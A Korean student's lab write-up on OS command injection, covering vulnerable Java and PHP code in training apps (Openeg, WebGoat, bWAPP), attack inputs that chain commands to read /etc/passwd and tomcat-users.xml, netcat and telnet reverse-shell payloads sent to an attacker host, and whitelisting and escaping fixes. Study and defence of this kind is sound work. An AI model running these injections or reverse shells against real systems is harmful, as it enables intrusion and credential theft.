[SK shieldus Rookies 16기][취약점 진단] Command Injection의 개요와 공격 실습

Jina·2023년 12월 18일
0

SK shieldus Rookies 16기

목록 보기
41/59
post-custom-banner

1. Command Injection

1.1. 정의

  • 어플리케이션에 운영체제 명령어(=Shell 명령어)를 실행하는 기능이 존재하는 경우
  • 외부 입력값을 검증하거나 제한하지 않고, 운영체제 명령어 또는 운영체제 명령어의 일부로 사용하는 경우 발생

시스템의 제어권을 탈취하여 해당 시스템을 공격자 마음대로 제어하게 된다.

Shell이란? 사용자와 커널 사이에 있는 명령어 해석기

외부 입력값을 검증하지 않았다? 추가 명령어 실행에 사용되는 & | ; 등의 문자열 포함 여부를 확인하지 않고 사용

외부 입력값을 제한하지 않았다? 내부 로직에서 사용할 수 있는 명령어 또는 명령어 파라미터 값을 미리 정의하고, 정의된 범위 내에서 사용되도록 하지 않는 경우 ⇒ 화이트 리스트 방식으로 제한하지 않는 경우

1.2. 제한 방법

입력값 제한 방법

  • 화이트 리스트 방식(=허용 목록) : 정의된 목록 범위 내의 값만 사용하도록 제한 ⇒ <>새로운 입력 유형에 대해서도 동일한 보안성을 제공하기 때문에 안전
  • 블랙 리스트 방식(=제한 목록) : 정의된 목록의 값을 사용하지 않도록 제한 ⇒ 모집합의 규모가 크고 변화가 심한 경우에 사용

1.3. 예시

외부 입력값을 운영체제 명령어로 사용하는 경우

// run.jsp
String cmd = request.getParameter("cmd");
Runtime.exec(cmd);

개발자가 의도한 실행

run.jsp?cmd=ipconfig # 서버의 네트워크 설정 정보 반환

공격자가 조작한 실행

# 의도하지 않은 명령어 실행으로 계정 정보 노출
run.jsp?cmd=cat /etc/passwd

# 의도하지 않는 추가 명령어 실행으로 계정 정보 노출
run.jsp?cmd=ifconfig & cat /etc/passwd 

외부 입력값을 운영체게 명령어 일부로 사용하는 경우 + 운영 체제 명령어의 파라미터로 사용되는 경우

// view.jsp
String file = request.getParameter("file");
Runtime.getRuntime().exec("cat " + file);

개발자가 의도한 실행

# cat 명령어의 일부(파라미터)로 사용하여 /data/upload/ 디렉토리 아래에 있는 myfile.txt 내용을 반환
view.jsp?file=/data/upload/myfile.txt

공격자가 조작한 실행

# 시스템 파일 내용 반환
view.jsp?file=/etc/passwd
# 추가 명령어 실행을 통해 시스템 파일 내용 반환
view.jsp?file=/data/dupload/myfile.txt & cat /etc/passwd

1.4. 방어 기법

  1. 불필요한 운영체제 명령어 실행을 제거.
  2. 운영체제 명령어 또는 운영체제 명령어의 파라미터로 사용될 값을 화이트 리스트 방식으로 제한.
    시스템 내부에서 사용할 운영체제 명령어 또는 운영체제 명령어의 파라미터로 사용될 값을 미리 정의하고 정의된 범위 내에서 사용되도록 제한.
  3. 추가 명령어 실행에 사용되는 & | ; 등의 문자가 포함되어 있는지 검증하고 사용.
  4. 외부에서 시스템 내부 처리를 유추할 수 없도록 코드화.

2. Openeg

kali linux > http://victim:8080/openeg 접속

소스코드 확인

Select에서 옵션 선택 후 실행 버튼 클릭 > data 파라미터 값으로 type or dir이 서버로 전달된다.
dir을 선택 후 실행 버튼을 클릭했을 때 출력되는 결과를 보면 마치 명령 프롬프트에서 dir명령을 실행한 것과 유사하다.

사용자 화면에서 선택한 값은 아래와 같이 서버로 전달

command_test.do?data=dir

서버로 전달된 값은 명령어 실행에 사용될 것으로 추측

Runtime.getRuntime().exec("dir");

개발자 도구에서 설정된 명령어가 아닌 다른 명령어로 변경 후 전달


한글 깨져서 나오지만 ipconfig 명령어가 실행된 것을 확인할 수 있다.

& 문자를 사용해 추가 명령어를 실행을 시도한다.

마찬가지로 한글이 깨져서 나오지만 whoami 명령어가 실행된 것을 확인할 수 있다.

기존 TestController.java 소스코드

@RequestMapping(value = "/test/command_test.do", method = RequestMethod.POST)
	@ResponseBody
	public String testCommandInjection(HttpServletRequest request, HttpSession session) {
		StringBuffer buffer = new StringBuffer();
		/* 요청 파라미터 값이 data의 값 추출 */
        String data = request.getParameter("data");
		/* 요청 파라미터 값이 type인 경우 */
        if (data != null && data.equals("type")) {
			/* 요청 파라미터 값을 "type 현재 디렉터리\files\file1.txt로 변경" */
            data = data + " " + request.getSession().getServletContext().getRealPath("/") + "files\\file1.txt";
		}

		Process process;
		String osName = System.getProperty("os.name");
		String[] cmd;

		if (osName.toLowerCase().startsWith("window")) {
			/* 요청 파라미터로 전달된 값을 운영체제에서 실행 가능한 명령어로 변경하는 과정 */
            cmd = new String[] { "cmd.exe", "/c", data };
			for (String s : cmd)
				System.out.print(s + " ");
		} else {
			cmd = new String[] { "/bin/sh", data };
		}
		try {
        	/* 요청 파라미터로 전달된 값을 운영체제 명령어로 사용 */
			process = Runtime.getRuntime().exec(cmd);
			InputStream in = process.getInputStream();
			Scanner s = new Scanner(in);
			buffer.append("실행결과: <br/>");
			while (s.hasNextLine() == true) {
				buffer.append(s.nextLine() + "<br/>");
			}
		} catch (IOException e) {
			buffer.append("실행오류발생");
			e.printStackTrace();
		}
		return buffer.toString();
	}

안전한 코드로 변경

/* (추가1) 해당 어플리케이션에서 사용할 명령어를 미리 정의 */
	private final String[] allowedCommands = { "type", "dir" }; 

@RequestMapping(value = "/test/command_test.do", method = RequestMethod.POST)
	@ResponseBody
	public String testCommandInjection(HttpServletRequest request, HttpSession session) {
		StringBuffer buffer = new StringBuffer();
		/* 요청 파라미터 값이 data의 값 추출 */
        String data = request.getParameter("data");
		/* (추가2) 요청 파라미터의 값이 미리 정의한 값의 범위에 포함되는지 확인 */
		List<String> temp = new ArrayList(Arrays.asList(allowedCommands));
		if (!temp.contains(data)) {
			return "잘못된 입력입니다.";
		}

        if (data != null && data.equals("type")) {
			/* 요청 파라미터 값을 "type 현재 디렉터리\files\file1.txt로 변경" */
            data = data + " " + request.getSession().getServletContext().getRealPath("/") + "files\\file1.txt";
		}

		Process process;
		String osName = System.getProperty("os.name");
		String[] cmd;

		if (osName.toLowerCase().startsWith("window")) {
			/* 요청 파라미터로 전달된 값을 운영체제에서 실행 가능한 명령어로 변경하는 과정 */
            cmd = new String[] { "cmd.exe", "/c", data };
			for (String s : cmd)
				System.out.print(s + " ");
		} else {
			cmd = new String[] { "/bin/sh", data };
		}
		try {
        	/* 요청 파라미터로 전달된 값을 운영체제 명령어로 사용 */
			process = Runtime.getRuntime().exec(cmd);
			InputStream in = process.getInputStream();
			Scanner s = new Scanner(in);
			buffer.append("실행결과: <br/>");
			while (s.hasNextLine() == true) {
				buffer.append(s.nextLine() + "<br/>");
			}
		} catch (IOException e) {
			buffer.append("실행오류발생");
			e.printStackTrace();
		}
		return buffer.toString();
	}

서버 내부에서 처리에 사용하는 명령어가 전달되도록 되어 있음
기존webapp/WEB-INF/test/test.jsp 소스코드

...
(4) Command 인젝션  <br />
            <select name="data" id="data5">
              <option value="type">--- show File1.txt ---</option>
              <option value="dir">--- show Dir ---</option>
        </select> <input type="button" id="button5" value="실행">
       </pre>
...

외부에서 내부 사용을 유추할 수 없도록 코드(0,1)로 변경

...
(4) Command 인젝션  <br />
            <select name="data" id="data5">
              <option value="0">--- show File1.txt ---</option>
              <option value="1">--- show Dir ---</option>
        </select> <input type="button" id="button5" value="실행">
       </pre>
...

TestController.java

/* (추가1) 해당 어플리케이션에서 사용할 명령어를 미리 정의 */
	private final String[] allowedCommands = { "type", "dir" }; 

	@RequestMapping(value = "/test/command_test.do", method = RequestMethod.POST)
	@ResponseBody
	public String testCommandInjection(HttpServletRequest request, HttpSession session) {
		StringBuffer buffer = new StringBuffer();
		
		/*  (추가2)사용자가 선택한 코드가 전달 => 0 or 1이 전달 => 미리 정의해놓은 명령어를 참조하는 값을 사용*/
		String data = request.getParameter("data");
		// 화이트 리스트 방식으로 입력값을 제한하는 것과 동시에 외부에서 내부 처리를 알 수 없도록 하는 것도 가능
		
		/* (추가3) 사용자 화면에서 전달된 코드를 내부 처리에 사용할 명령어로 변환 */
		try {
		data = allowedCommands[Integer.parseInt(data)];
		}cat3ch(Exception e) {
			/* 1. 사용자화면에서 0 or 1 가 아닌 숫자가 전달되는 경우(ex.100)
			 * 	   배열 값의 범위를 벗어나기 때문에 오류 발생
			 * 2. 사용자 화면에서 0 or 1가 아닌 문자가 전달되는 경우(ex. ipconfig)
			 * 	  숫자로 변하는 과정에서 오류 발생*/
			System.out.println(e.getMessage());
			return "잘못된 입력입니다.";
		}
		if (data != null && data.equals("type")) {
			data = data + " " + request.getSession().getServletContext().getRealPath("/") + "files\\file1.txt";
		}

		Process process;
		String osName = System.getProperty("os.name");
		String[] cmd;

		if (osName.toLowerCase().startsWith("window")) {
			cmd = new String[] { "cmd.exe", "/c", data };
			for (String s : cmd)
				System.out.print(s + " ");
		} else {
			cmd = new String[] { "/bin/sh", data };
		}
		try {
			process = Runtime.getRuntime().exec(cmd);
			InputStream in = process.getInputStream();
			Scanner s = new Scanner(in);
			buffer.append("실행결과: <br/>");
			while (s.hasNextLine() == true) {
				buffer.append(s.nextLine() + "<br/>");
			}
		} catch (IOException e) {
			buffer.append("실행오류발생");
			e.printStackTrace();
		}
		return buffer.toString();
	}

3. Webgoat

Injection Flaws > Commnad Injection

도움말 파일 : BasicAuthentication.help

만약 외부에서 전달된 값을 검증, 제한하지 않고 명령어 실행에 그대로 사용되면 추가 명령어 실행이 가능할 것 같음.

C:\FullstackLAB\workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp1\wtpwebapps\WebGoat\lesson_plans\English\BasicAuthentication.html" %26 type "C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml

4. beebox

bWAPP > OS Command Injection

/var/www/bWAPP/commandi.php 파일에서 140째 열 수정하기 - 코드가 달라지는 것 아니고 보기 편하게 바꾸는 것 뿐임

$ sudo gedit /var/www/bWAPP/commandi.php


접근할 수 없는 경로의 시스템 파일 내용만 출력

www.nsa.gov | cat /etc/passwd

5. Reverce Connection

5.1. 정의

일반적으로 네트워크는 클라이언트 → 서버 방향으로 연결되지만 역으로 클라이언트 ← 서버 방향으로 연결되게 만드는 것을 말한다.

5.2. 목적

방화벽이나 NAT를 우회하기 위해 사용한다.

방화벽과 NAT의 동작 원리

  • 방화벽은 일반적으로 외부 → 내부 접속을 제한하고, 외부 ← 내부 접속은 허용하는 경향이 있기 때문에 가능하다.
  • NAT는 내부 네트워크의 IP주소를 외부 네트워크의 IP 주소로 변환하는 역할을 하는데 일반적으로 NAT는 외부 → 내부 직접적인 접속을 막는다. 그러나 리버스 커넥션을 사용하면 외부 ← 내부 접속이 가능해진다.

6. Netcat(nc)

6.1. 정의

  • TCP/IP 연결을 사용하여 네트워크 연결을 통해 데이터를 읽거나 쓰는 도구
  • 네트워크 탐색 도구 뿐만 아니라 네트워크 디버깅 도구로도 사용 가능

6.2. 주요 옵션

$ nc 

-l : Netcat listen mode
-u : Netcat TCP (기본값)에서 UDP 모드로 전환
-p port : 리스너의 경우 수신 포트, 클라이언트의 경우 출발지 포트
-e : 연결 후 수행 할 작업
-L : 영구 리스너 생성 (Windows만 작동)
-s addr : 출발지 IP 주소
-n : DNS 주소 해석을 하지 않음
-z : 데이터 전송 안 함
-w secs : 시간 종료 값 정의
-v : 상세 모드

7. netcat을 이용한 Reverce Connection

cmd창 열어서 포트 지정

# LISTEN 상태인 특정 포트 지정
$ nc -l -p 8282
# 특정 주소와 특정 포트에 
$ www.nsa.gov ; nc 공격자주소 포트번호 -e /bin/bash

DNS lookup 검색창에 입력

$ www.nsa.gov ; nc kali 8282 -e /bin/bash

취약한 서버로 명령어를 전달 ⇒ beebox 서버에서 명령어가 실행되어 bash shell이 열림 ⇒ 공격자가 원하는 명령어 실행하면 결과가 출력 ⇒ beebox 사용자는 알 수 없다.

  • netcat을 이용한 OS Command Injection 공격조건
    위와 같은 공격이 이루어지기 위해서는

    1. 웹 어플리케이션에 OS Command Injection 취약점이 존재
    2. 해당 웹 서버(beebox)에 netcat이 설치되어 있어야 한다.
  • nc 프로그램이 설치되지 않은 웹 서버는 어떻게 공격을 할까?
    서버 관리 목록으로 많이 사용하는 프로그램을 이용해서 공격을 시도 ⇒ telnet

7.1. Telnet을 이용한 Rverce Connection

Kali에서 터미널 2개 열어서 서비스 실행

  • 8282포트 명령어 입력용
$ nc -l -p 8282
  • 9292포트 8282포트에서 입력한 명령어 실행 결과를 출력할 용도
$ nc -l -p 9292

beebox에서 http://beebox/bWAPP (id: bee / pw: bug) 접속 > OS Command Injection > DNS lookup 검색창에 아래 명령어 입력 후 Lookup 버튼 클릭

# 공격자의 시스템에 2개의 Telnet 연결을 생성해 이 연결을 통해 쉘 명령어를 전송하고 결과를 받는다. 
www.nsa.gov|sleep 1000|telnet attacker 8282|/bin/bash|telnet attacker 9292
# sleep 1000 ⇒ 프로그램 실행 1000초 동안 일시중지
# telnet attacker 8282 ⇒ attacker라는 호스트의 9292포트에 telnet연결 시도
# /bin/bash ⇒ 쉘 실행 명령어. 이 쉘은 이전 명령어의 출력을 입력으로 받아 실행
# telnet attacker 9292 ⇒ attacker라는 호스트의 9292포트에 telnet연결 시도. 이 연결은 이전 명령어(/bin/bash)의 출력을 입력으로 받는다.

7.2. 안전한 코드로 변경하는 방법

beebox VM

commandi.php 에서 구조 확인

$ sudo gedit /var/www/bWAPP/commandi.php
...(생략)...

<?php

    if(isset($_POST["target"]))
    {

        # 사용자가 입력한 값 ⇒ 정상적인 경우 도메인 주소가 전달
        $target = $_POST["target"];

        if($target == "")
        {

            echo "<font color=\"red\">Enter a domain name...</font>";

        }

        else
        {

            # 쉘에서 nslookup 명령어를 실행하고 실행 결과를 반환(https://www.php.net/manual/en/function.shell-exec.php)
            # 설정된 보안 등급에 맞춰서 입력값을 처리한 후 nslookup 명령어의 매개변수로 사용
            echo "<p align=\"left\"><pre>" . shell_exec("nslookup  " . commandi($target)) . "</pre></p>";

        }

    }

    ?>
    
...(생략)...

functions_external.php 코드 수정

$ sudo gedit /var/www/bWAPP/functions_external.php
...(생략)...

function commandi_check_1($data){
	# 추가 명령어 실행에 사용되는 &와 ; 기호 제거
    $input = str_replace("&", "", $data);
    $input = str_replace(";", "", $input);
    return $input;
}

function commandi_check_2($data){
	# Escape shell metacharacters
    # https://www.php.net/manual/en/function.escapeshellcmd.php
    return escapeshellcmd($data);
}


function commandi_check_3($data){
	# 추가 명령어 실행에 사용되는 &, ;, | 기호를 제거
    $input = str_replace("&", "", $data);
    $input = str_replace(";", "", $input);
    $input = str_replace("|", "", $input);
    return $input;
}

...(생략)...
profile
공부 기록
post-custom-banner

0개의 댓글